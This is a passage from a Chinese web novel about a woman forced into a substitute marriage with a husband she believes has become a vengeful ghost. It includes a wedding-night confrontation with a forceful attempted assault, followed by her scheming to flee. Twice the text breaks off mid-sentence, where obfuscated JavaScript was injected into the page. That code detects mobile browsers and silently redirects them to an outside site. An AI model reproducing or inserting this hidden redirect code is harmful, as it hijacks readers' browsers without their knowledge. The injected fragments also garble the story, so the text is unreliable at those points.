她手脚并用地向后急蹬,锦被翻卷,直至脊背“咚”一声撞上雕花床栏的尖角,犹觉不够,又抬手护住了脖颈。 江聿风端看着她这般仓惶退避,身形瑟缩,恨不能将自己缩进墙缝的样子,宛如在欣赏自己的杰作。 更确切地说,似在逗弄笼中雀儿。 他似乎十分满意眼前这一幕,唇角慢慢牵起一道弧度。然,那笑意尚未成形,便忽地凝滞了。 蜷缩在角落的人儿不知想到了什么,突然吸了吸鼻子,抬袖,重重抹过双眼,强抑住情绪,颤巍巍挤出几个字:“对、对不起……” 一声“对不起”。 裹着惊颤,却意外地……透着一股笨拙的实诚,仿佛真的发自肺腑。 江聿风身形几不可察地一顿,眸底幽色愈沉。 云雀强压喉间颤意,又低低重复:“对不住……我不该哭,我不是有意的……” 她越是这般说着不该哭,那强忍泪意、睫毛湿漉漉轻颤的模样,反比痛哭流涕更添几分令人心碎的楚楚可怜。 江聿风默了半晌,才哑然吐出两个字,“为何?” 为何? 云雀一怔。 她方才分明瞧见,是那滴眼泪落在江聿风胸前后,他才变了脸色。她暗自琢磨半晌,总算想出个所以然来: 此等方成形不久,尚且留恋人间,不愿接受自己死亡现实的恶煞,眼泪这种活人独有的东西,只怕会令他怨气更甚,尤其还沾了他的身,她这才死死咽回哽咽。 可眼下,他怎的还反过来问自己“为何”? 难道他突然起身并非是因为这个?那么……便只剩一个缘由了…… 云雀喉间轻滚,似鼓足了全部勇气,指尖颤抖着,虚虚点向他胸口月白衣料上那点深痕,“可是,污了你的寝衣?”一顿,补了一句,“这是你生前心爱之物?” 话音甫落,江聿风瞳仁一震,几乎是咬牙道:“你——!” 似被什么情绪堵住,他胸口几番起伏,苍白的脸上竟奇迹般地洇开一丝极淡的血色。 云雀睁圆了眼,不可思议道:“夫君……你,气色恢复了!?” 对方微微怔了片刻,尔后像是听到什么荒诞至极又极度可笑的话,很慢很慢地笑了出来。 只是这一笑不及眼底,而是怒焰焚至顶点的戾笑。 “是,甚好。看来这渡气之术确有奇效。”他缓缓颔首,目光胶着在她那副无辜到令人心头火起的模样上,骤然抬手。 “嘶啦——” 那件碍眼的寝衣被他一把扯开,随手掷落榻下。赤裸的上身带着寒意与压迫,倾覆逼近:“那便有劳娘子……再渡些来。” 可下一刻,随着话音落下的,不是别的,而是一床锦被。 江聿风僵住,难以置信地低头看去。 只见云雀不知何时已抓起那床厚重的锦被,迅疾无比地将他裹了个严严实实。 她双手并用,奋力掖紧每一处被角,口中念念有词,关切之情溢于言表:“夫君好不容易攒回这点阳气,可不敢再教它泄了!得捂严实……” 江聿风阖了阖眼,齿缝间迸出寒冰般的两个字:“松、手。” 然而云雀听了这二字,非但没松开,反倒将被子拽得更牢了,“不、松。” 语气斩钉截铁,手指紧攥被沿,极力压抑着细细的、无法克制的颤抖。 “不松是吧?”江聿风冷笑,“好。” 他忽将语气一缓,眉梢微挑,鬼声鬼气地道:“你就不怕我……” 话未竟,一只发烫的手捧住了他的脸颊。 江聿风思绪一断。 不及他有所反应,温软的唇瓣已不容分说地覆盖上来,幽兰轻吐,将他余下的威胁,尽数封缄于唇齿之间。 江聿风彻彻底底愣住了。 …… 6. 天亮 怕,云雀自然是害怕的。 可她到底是在纸钱堆里长大的,从前曾听人说过,鬼的本质就是一缕执念,因有执念,也就有了脾性。江聿风方才这一连串反应可算让她看清楚了,眼前这个恶鬼是吃软不吃硬。 虽不知他为何突然发怒,可他没有再一手掐上自己脖子,便是最大的进步。 许是确认了他暂且不会要自己命,或许是心底那点“江聿风本不坏”的幻想作祟,云雀惊悸稍平,胆量也大了几分。 褪去恐惧,接下来,她那套用来吃饭的本事——做戏,自是信手拈来。 既然一声“夫君”能让他松手,一滴泪能让他松口,那主动献上一口“阳气”,或许能压下他的狂性,甚至……能感化他体内的恶灵? 打定主意,她把心一横,暗自念叨只当是啃了块死猪肉,尔后紧闭双眼,屏住呼吸,唇瓣胡乱怼上去,鼓着腮帮子,朝里吹一口气。 虽说她渡这口“阳气”的速度极快,几乎是完成任务般结束了。 可此刻见江聿风木雕泥塑般僵着,非但没暴起伤人,连话都没了,甚至连耳尖都洇出一层薄红,心下已然定了七八分。 她记得清楚,江聿风咽气前,曾因她一声“夫君”红过耳尖,与这般一无二致。 谢天谢地,瞎猫撞上死耗子,成了。 左右隔着一层厚被衾,云雀趁热打铁,索性一把环住江聿风,抱得死紧,苦口婆心地胡说八道起来,“入秋了,夜寒露重,夫君生前本就身子弱,瘦得叫人心疼,千万别魂没续成,肉身先坏了。” 江聿风似乎听到什么,终于从漫长的怔忪中回过神来,眸光缓缓流转,定格在她脸上,“你……说什么?” 云雀一愣,当真以为他没听清,又百般心疼道:“妾身知道夫君舍不得人世间,定是有心愿未了,可这般弱不禁风的身子,本就不能……” 话到一半,她猛地刹住。 糟糕,她一时被方才短暂的胜利冲昏了头,竟口不择言,险些触了他“不能行人事”的霉头。 云雀眼神慌乱地转开,想转移话题。 然而,已经迟了。 江聿风脸上好不容易浮起的那点血色瞬间褪得干干净净。 他双唇紧抿,眼底暗流翻涌,即便隔着厚厚的锦被,云雀也能感受到他此刻周身散发的寒气。 “夫君,好夫君!你别误会,我不是那个意思……” 云雀急声解释,可对方哪里肯给她机会。他甚至未用全力,不过是被子下微一挣动,一股阴冷蛮横的力量骤然震开她的手。 她只觉得五指一麻,那厚锦被衾再锢不住,“噗”地一声自她怀中颓然滑脱,落至榻下。 江聿风的身影已兜头罩下,带着一股迫人的寒气。 “诶,你做甚么!?”云雀大惊。 江聿风一言不发,恍若幽冥摄魂的罗刹,寸寸压来。 云雀撑着身子就往床角缩,抖着嗓子,“你、你不是说取之有度吗?” 江聿风眼尾泛起赤红,似是被吞噬了最后的理智。 他再听不进任何言语,一把扣住她两只纤细手腕,蛮横地向外一掰。 “啊!”云雀痛呼一声,只觉得骨头都要被捏碎,双臂被他一只手就牢牢箍住,狠狠向上提起,整个人几乎被拎离了床铺。 她自问力气不小,可眼下面对这完全丧失人性的恶鬼,竟像只被捏住后颈的幼猫毫无反抗之力。 她慌了,彻底慌了。 再顾不上演夫妻和睦的戏码,云雀双腿胡乱踢踹,“放开我!是你说的取之有度,你这个骗子!” 江聿风眼尾微颤,似耐心告罄,屈膝悍然压下,将那对不安分的双腿并死于一处。 他凝视着身下四肢都被禁锢得动弹不得的人,唇畔弯起一抹冷意,“没错,取之有度。为夫不吸你‘阳气’……”俯身逼近,森然鬼气拂过她耳廓: “……只行夫妻之实罢了。” 言罢,冰冷的躯壳缓缓压下。 云雀魂飞魄散,再抑不住心中惊惧,歇斯底里地嘶吼出声: “江、聿、风——!” 三个字凌空劈落。 方才还汹涌欺近的身影突然停下来,慢慢退开,怔怔地看着她。 他眼尾微红褪去,眸中翻涌起复杂不堪的情绪,似有惘然与无措交织,仿佛他头一次听到这三个字,又仿佛这三个字从不属于他。 直至—— 他见到一滴泪,自云雀眼角无声滑落。 腕间力道倏然松开,云雀浑身气力也似被同时抽空。 方才极怖之时,她尚能强撑,可此刻随着这滴泪落下,心底经年久筑的铠甲轰然崩塌,眼泪也像打开了某个关口,再止不住,决堤而下。 她再顾不得这恶鬼喜或怒,蜷缩入床角暗影,双臂环膝,将脸深深埋入,竟似孩童般不管不顾,放声恸哭起来。 那哭声撕心裂肺,混着劫后余生的惊悸与积压的委屈,在空旷新房中回荡,冲撞着四壁红绸锦帐。 不知过了多久,哭声渐弱,化作细碎压抑的抽噎。云雀神思稍稍回笼,正暗自惊疑为何没有预想中的震怒,一道声音却自前方落下: “娘子乏了,好生安歇。” 声线平直,不冷不热,辨不出任何情绪。 云雀蓦然抬首,泪眼婆娑间,只见江聿风不知何时已下了榻,穿好中衣,甚至披了外袍。 目光越过他肩头,云雀才惊觉,窗外天光已破晓。 青灰色的晨曦正艰难地穿透窗棂,在冰冷的地砖上投下几道横斜疏影,悄无声息地驱散着屋内残余的夜气与烛烟。 微明的光晕映着他半侧苍白的面容,竟显出几分琉璃易碎般的虚幻。 云雀抹了抹满面泪痕,讷讷开口,“你……不畏光吗?” 江聿风没有言语。 他坐回轮椅,骨节分明的手推开厚重的门扉,身影没入那点微光之中。 云雀望着门缝间新透入的一缕天光,后怕地倒吸一口凉气,“好生凶戾的‘东西’。”转瞬,劫后余生的虚脱感漫上四肢百骸,她长长吁出一口气: “好在……行不了人事。” ***** 云雀还瘫在床上,用被子蒙着头,正为那“渡气”的酷刑绝望呜咽。 门外忽地响起一个脆生生的嗓门儿,带着压不住的笑意: “少夫人?您醒啦?二少爷吩咐奴婢们来伺候您梳洗啦!” 云雀没吭声,缩在被子里装死。 外头静了两息,那声音又扬高了调子,笑意更浓:“少夫人?” “少……” “吱呀——”房门被拉开一条缝。 云雀顶着鸡窝似的乱发,一张脸皱得像刚啃了黄连,有气无力地嘟囔:“进来吧。” 两个穿着水绿色比甲的丫鬟端着铜盆帕子等物,笑吟吟地迈步进来。 “奴婢麦冬——” “奴婢莲子——” “给二少夫人请安!” 其实用不着自报家门,云雀打眼一瞧就认出来了。秦嬷嬷给的那本蓝皮册子明明白白写着,这江二少爷自幼体弱多病,连院里的丫鬟小厮都是按药材取的名儿。 这俩丫头约莫十五六岁,左边那个长圆脸细高挑儿,活脱脱一颗站着的麦冬,右边那个小脸白皙圆润,肉乎乎的,可不就像颗刚剥出来的莲子仁儿。 俩人一进屋,那眼珠子就跟黏在了云雀身上似的,偷偷瞟一眼,再飞快地对视一眼,抿着嘴笑,那笑意藏都藏不住。 云雀被她们笑得浑身好不自在,终是没忍住,抬手拭了拭面颊:“我脸上是沾了灰还是生了花?你们笑什么?” 那唤作莲子的丫鬟胆子大些,连忙道:“没有没有,少夫人玉面生光,好看得紧。气色也红润……”她顿了顿,又飞快觑了云雀一眼,“比昨夜里瞧着精神多了。” 这话听得云雀心头一跳,惊问:“你昨夜见过我?” 莲子见她满面惊诧,甚或带着惊恐,心知这位新少夫人在忧惧什么,忙斟酌着词句解释:“少夫人容禀,昨夜二少爷虽未留我等守夜,可后半夜还是唤我们进来,为少夫人更换衣裳了。” 云雀一惊,“他叫你们进来替我更衣?” “嗯。”莲子笑着点了点头,开始在云雀头上摆弄起来。 云雀抿了抿唇,“那……你昨晚进来时,我……”她喉头噎了噎,忖了片刻,才压低声音道:“……穿衣服没?” 莲子觑了眼铜镜里的人,撞见一道既担忧又期许什么的目光,不由“噗呲”笑出声来。 云雀愠恼道:“别笑了,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995525|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底穿没穿!?” 莲子这才敛了笑,“少夫人放心,穿了。不仅穿了,还穿着那身喜服,睡得可沉了。” 竟然还穿着喜服?云雀不信那“鬼”会有这等好心,又问,“那他说什么了吗?” 莲子停下手中动作,似认真回忆了片刻,“二少爷只吩咐说少夫人您累着了,说您……” 云雀见她一副欲言又止的样子,心头忽地掠过一丝不安,急道:“那‘恶鬼’说我什么?” 饿鬼……? 莲子闻此二字,掩唇一笑。她先前还怕主子着恼,此刻倒品出几分夫妻情致,想着也无妨,便道:“说您折腾了一宿,体力不支,晕厥过去了。” 折腾一宿!?体力不支!? 云雀简直不敢相信自己听到了什么。虽说话不假,可这般直白道与外仆,岂非有意污她清白? 她又羞又恼,原本莹白的面庞登刻腾起绯色,直烧至耳尖。 莲子瞧她面庞飞红,只道是羞赧,忙又解释:“少夫人安心,此事奴婢绝未外传。主子房帷之事,奴婢们是晓得轻重的……” 这家人果然都不正常! 云雀按下心中烦闷,只想赶紧打发走她们:“行了行了,我自己……” 话未说完,就听见正拾掇床铺的麦冬蓦地“哎呀”轻呼一声,声量不高,却满是惊疑。 云雀和莲子齐齐望过去。 只见麦冬面朝榻里,背对二人,整个人似僵住了。 莲子眼珠一转,像是瞬间明白了什么,忙不迭地抢上前,压低声音埋怨:“大惊小怪嚷什么,这要是没有才真出奇呢!快收拾……”她一边斥着,一边探头往床铺里瞥。 这一看,她自己也轻轻抽了口气,连忙给同伴使了个极其复杂的眼色。 麦冬也急急地回了个眼神,手忙脚乱地想把那散开的锦被团起来卷走。 云雀心里那股不详的预感噌噌往上冒,她几步近前,声音冷了下来:“松手。” 两名婢子动作顿住,互相看了一眼,似乎在犹豫。 “我说,松手。”云雀声线更沉了几分。她好歹是市井闯荡过的,当真冷下脸时,自有几分迫人气势。 两个丫鬟被这突如其来的冷硬震了一下,可转念一想,这也不是什么丢人的事儿,反倒是天大的好事、喜事!面上立时又绽出喜色,依言松开了手。 云雀蹙着眉,一把掀开那被仓促拢住的被角,只见大红缎面锦被中央,赫然洇着一小片暗红干涸的血迹。 那位置……恰恰便是她昨夜躺卧之处。 云雀只觉一股血气直冲头顶,脸上灼烫更甚了。 她几乎是下意识地低头,飞快扫了一眼自身。昨夜晕过去后,丫鬟是替她换了寝衣没错,可…… 不对! 云雀猛地恍悟过来。她虽未经过人事,却也并非懵懂无知的小姑娘,当年在街面上和阿九他们混在一起,荤素不忌的浑话听得多了。 她清楚地记得阿九那小子偷看花魁洗澡后回来吹嘘,说什么“落红是一小片晕开的红梅”,岂是这般淋淋沥沥、散布几小滩的? 眼前这痕迹,倒更像是……她脑中闪过昨夜江聿风鬼身回来的模样,七窍还沾着血污。定是那病鬼后来不知怎的,又将血污沾到了床褥上。 “这……这不是……”云雀急急辩白。 “少夫人……”可不等她澄清这个荒谬的误会,莲子已截住话头,脸上笑得像开了朵花,“这可是天大的喜兆,奴婢们替二位主子高兴还来不及呢!” “就是就是。”麦冬也赶紧帮腔,两人一唱一和: “二少爷平日瞧着是体弱些……可这……昨夜是真累着少夫人您了,只是二少爷也忒不知怜惜了些……” 眼神暧昧地往云雀腰腿处溜了溜,又忍不住掩唇窃笑起来。 云雀气得几欲背过气去,偏偏又百口莫辩。她瞪了眼那两个笑得花枝乱颤的丫鬟,一跺脚,便将二人往外推。 “诶,少夫人您这是做什么?” “奴婢还未伺候您梳妆呢!” 云雀懒得理会,将二人推出门槛, 刚准备阖上房门,余光瞥见门外回廊有个小厮模样的,正借着扫洒的工夫偷偷朝这头张望。 这熟悉的身形,机灵的眉眼,不是阿九还能是谁!? 7. 逃 这熟悉的身形,机灵的眉眼,不是阿九还能是谁!? 四目相对,彼此眼中俱是狂喜。 可毕竟眼下天光日白,人多眼杂,云雀朝阿九递去一个眼神,阿九心领神会,强抑激动,默契地垂首继续干活。 莲子和麦冬对这微妙的眼神交流浑然未觉,兀自一口一个“二少夫人”地叫着。 “啪嗒”一声,房门紧紧阖上了。 两人对视一眼,只觉头大。凑到一旁,压着嗓子嘀咕起来: “这可怎么好?” “就是!都巳时了,搁别家新妇,哪有这时候还不去给老太君和公婆敬茶的。要不是二少爷今早精神头足得不得了,跟换了个人似的,亲自跑去跟侯爷夫人说少夫人昨夜累着了,夫人哪儿能等到这会儿才叫咱们来?” “我看准是老太君等急了,才打发咱们来的。可人还没收拾利索呢,就把咱俩轰出来,这可怎么办?” 声音压得虽低,却清清楚楚飘到了廊柱边上。 冷不丁一声清脆的:“姐姐——” 两人吓了一跳,循声望去,只见一个面生的小厮,清秀瘦小,提着扫帚朝她们笑。那笑容暖洋洋的,格外讨喜。要知道南院有那位冷冰冰的病秧子主子,向来死气沉沉。突然见着这么个笑脸,两人心头倒是对来人都生出几分好感。 阿九见她们没板脸,胆子壮了,紧走两步上前,煞有介事地行了个书生礼:“给二位好姐姐见礼了。” 这模样把两人都逗乐了。莲子到底老练些,先收了笑,问道:“你是林府跟过来的?” 阿九连忙点头:“回姐姐的话,小的昨儿才到的。” 麦冬也回过神来,纳闷道:“林府陪嫁的人不都先安排在后院歇着吗?我听嬷嬷说,要等夫人问过少夫人才分派活计呢。你怎么一大早就跑咱们院里扫地来了?” 说实话,阿九直至方才都还是云里雾里的。 那晚他和云雀分头跑,没跑多远,后颈猛地一疼,就被人敲晕了。等醒过来,人已经在林府柴房里,连身上衣裳都换成了林府小厮的打扮。他刚摸出柴房,还没辨清方向,就被人一把拽进了陪嫁的队伍,然后就这么稀里糊涂到了侯府。 进了府,他逮着空偷偷问了问身边人才知道,今儿是永定侯府二公子娶林侍郎家四小姐的大日子,而自己,莫名其妙成了林府陪嫁的小厮。 他在街头混了这么多年,立刻明白这事儿不简单。既然他能被换了身份塞进侯府,云雀多半也换了身份进来了。 这念头刚冒出来,就听见旁边几个同伴在议论: “哎,你说咱们四小姐怎么突然就想通,愿意嫁了?” “要我说,不嫁才正常,嫁才奇怪呢!永定侯府门第是高,可满京城谁不知道那二公子就是个活不长的病秧子?侯府这么急吼吼自降身份找林府联姻,图啥?” “图啥?” 声音忽然压低了:“冲喜呗……” “难怪四小姐不乐意了。好歹是正经小姐,谁愿意去冲喜?谁不知道这档子事儿,十有八九最后都得守寡。” “可不,你们不知道,我听春梅说,四小姐之前为了不嫁进来,绝食了好几天呢!” “嚯,你小子什么时候跟春梅搭上话了?” 哄笑声盖过了议论,但阿九却把最关键的那几句,记在了心里。 这林家四小姐原本抵死不愿嫁,却忽然安安分分上了花轿。为什么?只怕嫁进来的根本不是林四小姐,而是云雀顶了这个名头…… 阿九心头一亮,当下便有了七八分把握,打定主意要尽快溜到南院,瞧瞧这位新晋的二少夫人是不是云雀。 于是天刚蒙蒙亮,他就揣着藏在鞋底的最后一张银票,偷偷找到南院一个小厮换了身行头。 没成想扫着扫着地,真让他瞧见了云雀。 阿九思绪收回,压低声音道:“不瞒二位姐姐,我是偷溜出来的。” “偷溜?”二人面面相觑。 “嗯。”阿九点头,“昨夜临睡,我迷迷糊糊听见几个一同来的小厮在闲聊,满嘴都是侯府的丫鬟如何好看,这个怎么样,那个怎么样,还夹着些不堪入耳的下流话。尤其是有几个,盘算着买通管事嬷嬷,把他们往南院塞,说南院的姐姐最是出挑。我偷瞄一眼,说这话的是谁?” “是谁?”麦冬追问。 “正是从前在林府大房当差的一个家丁。” “大房?”麦冬不解,“为何会是那边的人?” “还能为什么?”阿九不满道:“大房奶奶眼红四小姐嫁得好,在陪嫁的人里硬塞了好几个她的人。那人我见过,不仅面目可憎,举止更是粗鄙,说的那些话听着都污耳朵。我实在不忍心四小姐院里混进这种人,就想着悄悄进来递个话,请四小姐日后留个心眼。” 话到这里,他挠了挠头,露出一丝羞赧,“不过……我最怕的,还是不愿几位好姐姐成日里与那种人相对。” 莲子和麦冬本就对他印象不差,此刻听了这话,既后怕又暗自庆幸。 但高门大户的丫鬟自然没那么好糊弄,莲子眼神带了审视:“我们怎知你与他们不是一伙的?” 阿九委屈地撅起嘴:“姐姐们不知,我虽卖身进林府几年,可手脚慢些,个子又不高,常受欺负,早看不惯他们那副德性了。”他偷眼瞧了瞧莲子神色,低下头,声音闷闷的,“姐姐不信我便算了……只怕日后……” 麦冬心软,接口道:“你且安心,咱们永定侯府是什么地方?岂容得那些粗鄙之人放肆。即便是陪嫁来的,也不是轻易能近主子身的。”她眼波流转,看向莲子,“依我看,他既来了,不如先留下?” 莲子用手肘轻碰她一下:“这话也是你我做得了主的?” 麦冬不以为意:“怕什么?二少爷向来性子宽仁,如今又与少夫人琴瑟和鸣。少夫人若开口想要回昔日用惯的人,二少爷还能不应?” 阿九一惊,“琴瑟和鸣?” 麦冬正要细说,却被莲子打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995526|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她目光在阿九身上打量过,忖了片刻,“不该说的不说,不该问的别问。这是咱们南院的规矩。” 阿九听出弦外之音,立刻眉开眼笑,叠声“好姐姐”地道起谢来。言罢,又忧心忡忡地望了一眼紧闭的主人房,欲言又止。 麦冬抿唇一笑,拉着莲子的袖子往旁边挪了两步,声音不大不小:“姐姐,他既是林府二房跟来的,不如让他先去试试劝劝少夫人,也省得惊动管事嬷嬷。瞧他那股子灵透劲儿,想来是个能讨主子欢心的。” 莲子瞥阿九一眼,转过身,只当是没看到,“就一盏茶功夫,时辰到了我便去寻嬷嬷。” 麦冬朝阿九递了个催促的眼风。 阿九会意,无声道了句“多谢”,转身便跑,一溜烟就没影了。 此刻,云雀已自个儿换好衣裳,绾妥了发髻。毕竟从前也扮过寡居女子,梳起妇人髻也不算手生。虽不华丽繁复,倒也干净得体,反衬得她愈发清丽秀雅。 只是这发间…… 本该戴上江聿风给的那支木簪,好歹应付应付那恶鬼。可她翻遍了整间屋子也不见踪影,也不知那家伙瞧见她没戴,会不会又怨气横生。 正犯愁,门上传来“叩叩”轻响。 她忙敛了愁绪,起身开门。 “妥了?” “那是自然。”阿九闪身进来,反手带上门,“不过就一盏茶功夫。别看莲子那丫头脸圆圆的,心眼可比麦冬多多了。” “那就拣紧要的说。”云雀顺手将一支朱钗别入发间,“你怎么混进来的?” 阿九三言两语将这两天的离奇遭遇讲完,又听云雀说了黑衣人如何寻到她,又如何威逼利诱她上了花轿。 阿九先是眉梢一扬:“不成事也有三万两?还有这等好事?”随即又瞪圆了眼,“可我听她们说,那二公子与你琴瑟相和,昨夜还……” 云雀略一迟疑,虽想起昨夜种种仍叫她心头发怵,但见阿九满脸忧色,终是不忍吓他,只低声宽慰:“放心,他病得只剩一口气,行不了那等事的。” 阿九福至心灵地一拍手,“嘿!我明白了!男人都好个脸面呗。姐,照这么说,咱们岂不是两头赚?要么在这侯府吃香喝辣,要么熬过七天,揣上三万两拍屁股走人?” 他眼珠滴溜一转,不等云雀答话,又自顾自盘算起来:“不过姐,我看那男人虽说动不了你,可听说今儿气色倒不差。万一他一时半会儿咽不了气,天天对着个病秧子也够呛。依我看,要不咱们捱过这七天,到时拿了银子就溜。” 云雀却摇了摇头。 阿九一愣:“不走?”他随即恍然,脸上堆起羡慕,“哦——也对。我刚来一宿,可算开眼了,知道什么叫高门大户。从前咱们见过的那些算个啥!这侯府里的花,样样稀罕,开的金子打的鱼鳞似的,连那些丫头片子,穿戴气派比外头小门户的小姐还强……” 云雀截断他絮絮叨叨的艳羡,眉头紧锁,压低了声:“不是不走,是不等了——今晚就走!” 8. 再等三日 阿九愕然:“今晚?可那三万两不是说好了七天后才到手吗?” 云雀横他一眼:“想得美!这等天上掉馅饼的好事,真能轮到咱们头上?” 见阿九仍旧懵懂,她压低声音解释:“你想想,那黑衣人费这么大劲逼我去‘克死’江聿风,哪会做赔钱买卖?定是铁了心要他的命。所谓七日之约,无非是再多等七日,看看我的命能否硬到七日内将江聿风克死。可现在那病秧子非但没死,气色若还一日好过一日,你觉得,他还会乖乖奉上三万两银子送咱们走?” “姐的意思是……”阿九喉头滚动,做了个抹脖子的手势,“他非但不会放咱们走,反而会……” 云雀眼神一沉,心照不宣。 “你再想想,按衙差说的,府尹大人是留不得咱们的。可寻常牢房尚有四五狱卒轮流看守,为何那专门处置‘麻烦’的私牢反而一个守卫都没有?押咱们去刑场又为何只派一人,还被咱俩轻易放倒了?” 那日她被突如其来的“断头饭”吓得魂飞魄散,紧接着又被那从天而降的黑衣人以阿九性命相胁,威逼利诱,仓促间答应了替嫁。答应之后,她又马不停蹄被塞进林家,第二日就蒙着盖头送上花轿,当晚就成了“毒杀”江聿风的最大嫌凶。 这一切的一切,环环相扣,紧凑得令人窒息。仿佛有一只无形的手,在幕后精准地操控着每一步,冷眼看着她是如何一步步跌入深渊,成为完美的替罪羊。 云雀沉吟道:“当时我是吓糊涂了,没细想,后来一琢磨就全明白了……” 两人对视一眼,阿九低声惊呼:“从头到尾根本就是个局!” “没错,”云雀点头,挑能说的说,“有人想杀江聿风,却不想脏了自己的手,这才想出这借刀杀人的毒计——找一个命硬的做那把不见血的刀。” 她想起在牢房见到的那双官靴,沉声补了一句,“而此人,极有可能还是京兆府的人。” 这话听得阿九后背发凉,可他转念一想,又觉得不解,“可姐,照你这么说,更不能现在跑啊!咱们眼下好歹全须全尾地在侯府里待着,你还是正儿八经的二少夫人,有侯府这棵大树遮着,怎么也比现在冒险逃出去强。万一刚出侯府大门,撞上京兆府的差役事小,若是被那黑衣人逮住,指不定又会要挟咱们什么?” 云雀何尝不明白这个理。 倘若江聿风没死,侯府自然是最好的庇荫。哪怕往后真得对着那个病恹恹的呆子过一辈子,她也认了。 可阿九哪晓得江聿风昨夜就已断了气,而如今这个“江聿风”不过是个索命的恶鬼,那鬼东西不但咬定是她下毒抛尸,还逼她渡什么阳气,甚至还要与她…… 说什么“取之有度”,转头便扯去寝衣欺身过来。 说什么“待真相大白自会魂归天地”,且不说何时才能查明真相,就今日,人人都道江聿风气色好转。 眼下这鬼东西已凶戾至此,再多吸她一日阳气,法力只怕更盛。到时他若反口复舌,又该当如何应付。 于此等喜怒无常,不通人性的怨灵,自是半句话都不该轻信。 只是这些种种,如何能对阿九明言? 云雀心思急转,只道:“那厮定以为咱们会为了三万两银钱熬足七日。不如趁他笃信咱们舍不得银子、安心等着的当口,咱们先溜。” “可是……”阿九皱起眉头,犹豫道:“侯府不比寻常宅院。我早上过来时仔细瞧过,各处出入口都有带刀侍卫把守,守备森严得很。你又不能以新晋少夫人的身份,大张旗鼓离府的。咱们是不是应该先探查清楚,找个合适的时机和方法再离开?” 云雀长长地叹了口气。 阿九所言不无道理。 那黑衣人未除江聿风,随时可能再下杀手,换言之,他绝不会允许自己这个“替死鬼”轻易离开侯府,定会派那下毒的内应盯着。 离开…… 说得轻巧,真要离开,谈何容易。不仅得避开黑衣人耳目,还得瞒住那只恶鬼,就算成功逃出去,也难保京兆府的人没有继续通缉他们。一旦败露,无论落在哪方手中,皆是死路一条。 可倘若不走……? 她不敢深想夜夜与鬼身同眠会是怎样一副可怖光景,饶是能守住最终那道清白,也难保不会被吸成一具枯骨。 云雀在心里翻来覆去盘算了好几遍,似终于狠下心,咬牙道:“那就……明日!” 阿九并不知晓她火急火燎的真正缘由,拧着眉头想了想:“可我瞧着,出入西角门的婆子都得揣着对牌。” 云雀嘴角一抽,艰难竖起两根手指,“那,两日!” 阿九眼皮一撩,慢吞吞补充:“后头院里……连狗洞外头都有人蹲着呢。” 云雀深吸一口气,第三根手指几乎是挣扎着才伸直:“不能再多了,三日后归宁,总该能名正言顺出府了吧?” 三日,亦是她能忍受的极限了。 阿九听罢,垂下眼帘,闷闷地“嗯”了一声。 云雀看了他一阵,问:“你不想走?” 阿九没吭声,只把脑袋垂得更低了。 “舍不得这里好吃好住的日子?”云雀又问。 阿九摇了摇头。 “瞧上方才那两个丫头了?” “才不是!”阿九抬头反驳,可一对上云雀的目光,气势又矮了下去,“我只是……”他无措抬手,摸了摸自己空荡荡的脖颈下方。 云雀顿时明白了,他想找回那枚桃核猴子。 她将阿九的手掰下来,定定地看着他,“你且答我,是那‘猴子’要紧,还是命要紧?” 阿九几乎想都没想便冲口而出,“自然是猴……”可话到一半,突然梗在喉间,又生生咽了回去。 云雀一时默然。 阿九比她小三岁,如今也不过是个十五六岁的少年,眉眼间尚存几分未褪的青涩。五年前她在乱葬岗第一次见到他,彼时他才十一岁,与自己失去世上唯一亲人的年岁一般大。 暴雨如注,她看见他缩在残碑旁,正狼吞虎咽地偷吃祭品。 豆大的雨点砸在他布满伤痕的脸上,血水混着雨水和泪水,和着冷硬的馒头拼命塞进嘴里。乍见一身粗布男装的她出现在眼前,他骇得浑身剧颤,只当又是驱赶欺辱他的恶徒,瘦小的身躯蜷成一团,哀哀告饶。 可那双脏污的手死死护住的,并非自己伤痕累累的身体,而是紧攥在胸口、用一根磨损麻绳系着的那枚小小桃核猴子。 彼时云雀笑他是个傻子,为了个不值钱的玩意连命都不顾。可殊不知,于傻子而言,有些东西就是比命还重要。 云雀的手在阿九肩头轻轻按了按,“听姐一句……” “活着才有盼头嘛!”阿九已抢先咧开嘴,笑容明亮得近乎刻意,“放心,我明白的。” 那笑容挂在脸上,一派若无其事,可眼底深处,却分明浸满不舍与无奈。 云雀看着他这般模样,又如何能真的放心得下? 她实在不忍,还想再说些什么,却见阿九已转开脸,自顾自盘算起这几日的行事了。 “照旧,我去准备乔装离京的行头,你嘛……”阿九一股脑说着,语声一顿,转过脸来,“姐,你只管踏踏实实做几日风光少夫人,这一走,往后京城怕是再难踏足了。若是顺手……” 他眼尾一挑,溜过妆台那只锦盒,嘻嘻笑道:“再捎带几支金钗珠花,也算不枉此行。” 云雀扯了扯唇角,想挤个笑,终究只落得一点苦意,心头沉甸甸压下一句:何止是做几日少夫人…… ***** 好在二人长话短说,阿九前脚刚走,云雀后脚便瞧见一个身着深褐色褙子的身影出现在廊下。 来人头发梳得纹丝不乱,左下巴一块黑斑——正是林府那位陪嫁过来的秦嬷嬷。 莲子这丫头,还真把秦嬷嬷请来了。 云雀暗暗腹诽一声,面上却已绽开笑容,温声道:“嬷嬷来了。” 谁知这秦嬷嬷全然没了昨日林府那副谄媚嘴脸,只板着 